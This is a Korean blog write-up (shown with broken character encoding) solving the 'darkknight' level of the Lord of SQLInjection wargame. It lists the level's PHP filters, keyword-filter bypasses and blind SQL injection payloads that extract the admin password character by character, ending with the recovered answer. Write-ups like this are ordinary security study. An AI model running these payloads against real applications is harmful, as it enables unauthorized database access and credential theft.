ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

12๋ฒˆ์งธ ๋ฌธ์ œ์ธ "darkknight"๋ฅผ ๋ณด์‹œ๋ฉด preg_match ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ ๋‹ค์–‘ํ•œ ํ•„ํ„ฐ๋ง ๊ฒ€์ฆ์ด ์ถ”๊ฐ€๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET [no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=/i', $_GET [no])) exit("HeHe");

๋น„๊ต ์—ฐ์‚ฐ์ž์ธ or ๋‚˜ and ๋Š” ๊ฒ€์ฆ์„ ํ•˜์ง€ ์•Š๊ณ  ์žˆ์ง€๋งŒ ์ „ ๋‹จ๊ณ„๋“ค๊ณผ ๋‹ค๋ฅด๊ฒŒ ์‹ฑ๊ธ€ ์ฟผํ„ฐ( ' )๋ฅผ ์ฐจ๋‹จํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— " ์‹ฑ๊ธ€ ์ฟผํ„ฐ "๋ฅผ ๋Œ€์‹ ํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

ํ•„ํ„ฐ๋ง ์šฐํšŒ
= --> like ๋˜๋Š” between์„ ์‚ฌ์šฉ
substr --> right, left, mid ๋“ฑ ์„ ์‚ฌ์šฉ
'(์‹ฑ๊ธ€ ์ฟผํ„ฐ) --> " ๋”๋ธ” ์ฟผํ„ฐ ์‚ฌ์šฉ
ascii --> ord ์‚ฌ์šฉ

left : ๋ฌธ์ž์— ์™ผ์ชฝ์„ ๊ธฐ์ค€์œผ๋กœ ์ผ์ • ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜
mid : ๋ฌธ์ž์— ์ง€์ •ํ•œ ์‹œ์ž ์œ„์น˜๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ผ์ • ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜
right : ๋ฌธ์ž์— ์˜ค๋ฅธ์ชฝ์„ ๊ธฐ์ค€์œผ๋กœ ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜จ๋Š ํ•จ์ˆ˜
ord : ์•„์Šคํ‚ค ์ฝ”๋“œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜

 

$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET [pw]}'"; 
if(($result ['pw']) && ($result['pw'] == $_GET ['pw'])) solve("darkknight"); 

๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„  " admin " ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ pw ๋ณ€์ˆ˜ ์•ˆ์— ์ตœ์ข…์ ์œผ๋กœ ์ž…๋ ฅํ•ด์„œ ํ•ด๊ฒฐํ•ด์•ผ ๋˜๋Š” ๋ฌธ์ œ์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ž…๋ ฅ๋œ ํŒจ์Šค์›Œ๋“œ๊ฐ€ DB๋‚ด์˜ ํŒจ์Šค์›Œ๋“œ๊ฐ€ ๋™์ผํ•ด์•ผ ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ •ํ™•ํ•œ ๊ฐ’์„ BSQLI๋กœ ์•Œ์•„๋‚ด์•ผ ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

Input Code ( =, ' ์šฐํšŒ)

1 or id like "admin" %26%26 length(pw) like 8
1 or id like 0x61646d696e %26%26 length(pw) like 8

 

์œ„์˜ ๊ตฌ๋ฌธ์„ ํ†ตํ•ด admin ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ๊ฐ€ 8์ž๋ฆฌ ์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.๋งŒ์ผ ํ•ด๋‹น ๋ฌธ์ œ์—์„œ "(๋”๋ธ” ์ฟผํ„ฐ)๊นŒ์ง€ ์ฐจ๋‹จ์„ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด admin ํ‚ค์›Œ๋“œ๋ฅผ " hex " ์ฝ”๋“œ๋กœ ๋Œ๋ ค์„œ ์‚ฌ์šฉํ•˜๋ฉด ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

 

Input Code ( =, ', ascii, substr ์šฐํšŒ )

1 or id like "admin" %26%26 ord(mid(pw,1,1)) like 48%23
1 or id like 0x61646d696e %26%26 ord(mid(pw,1,1)) like 48%23

 

ํ•ด๋‹น $1$ ์˜์—ญ์€ ํŒจ์Šค์›Œ๋“œ์˜ ์ž๋ฆฟ์ˆ˜๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ ํ•ด๋‹น ๋ถ€๋ถ„์€ 1 ~ 8์ž๋ฆฌ๊นŒ์ง€ ํ•˜๋‚˜์”ฉ ์ถ”๊ฐ€ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.$47$ ๋ถ€๋ถ„์€ ์ถ”์ถœํ•œ ํŒจ์Šค์›Œ๋“œ์™€ ๋น„๊ตํ•  ascii ์ฝ”๋“œ์ด๋ฉฐ ํ•˜๋‹จ์˜ ์ฝ”๋“œ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ ๋น„๊ต

32 ~ 47 : ํŠน์ˆ˜๋ฌธ์ž (space, !, ", #, $, %, & ๋“ฑ)
58 ~ 64 : ํŠน์ˆ˜๋ฌธ์ž (:, ;, <, =, >, ?, @)
123 ~ 126 : ํŠน์ˆ˜๋ฌธ์ž ({, |, }, ~)
48 ~ 57 : ์ˆซ์ž (0 ~ 9)
65 ~ 90 : ์˜์–ด(๋Œ€๋ฌธ์ž) (A ~ Z)
97 ~ 122  : ์˜์–ด(์†Œ๋ฌธ์ž) (a ~ z)

 

 

๋„์ถœ๋œ ASCII ๊ฐ’ ๋ณต๊ตฌ

48 --> 0
98 --> b
55 --> 7
48 --> 0

101 --> e
97 --> a
49 --> 1

102 --> f

 

๋ฒ„ํ”„ ์ŠˆํŠธ๋ฅผ ํ†ตํ•ด ๋„์ถœ๋œ ascii ์ฝ”๋“œ๋ฅผ ์ˆซ์ž, ๋ฌธ์ž๋กœ ๋ณ€ํ™˜ํ•ด๋ณด๋ฉด " 0b70ea1f "๋ผ๋Š” ํŒจ์Šค์›Œ๋“œ๊ฐ€ ๋‚˜์˜ค๋ฉฐ ํ•ด๋‹น ๊ฐ’์„" pw " ๋ณ€์ˆ˜์— ๋„ฃ์–ด์ฃผ๊ธฐ๋ฉด ํ•˜๋ฉด ํด๋ฆฌ์–ด๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

 

'CHALLENGE' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[LOS] Giant ํ’€์ด(14)  (0) 2020.12.08
[LOS] Bugbear ํ’€์ด(13)  (0) 2020.12.08
XSS Challenges 5-2  (0) 2020.12.08
XSS Challenges 5-1  (0) 2020.12.07
XSS Challenges 4  (0) 2020.12.06
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment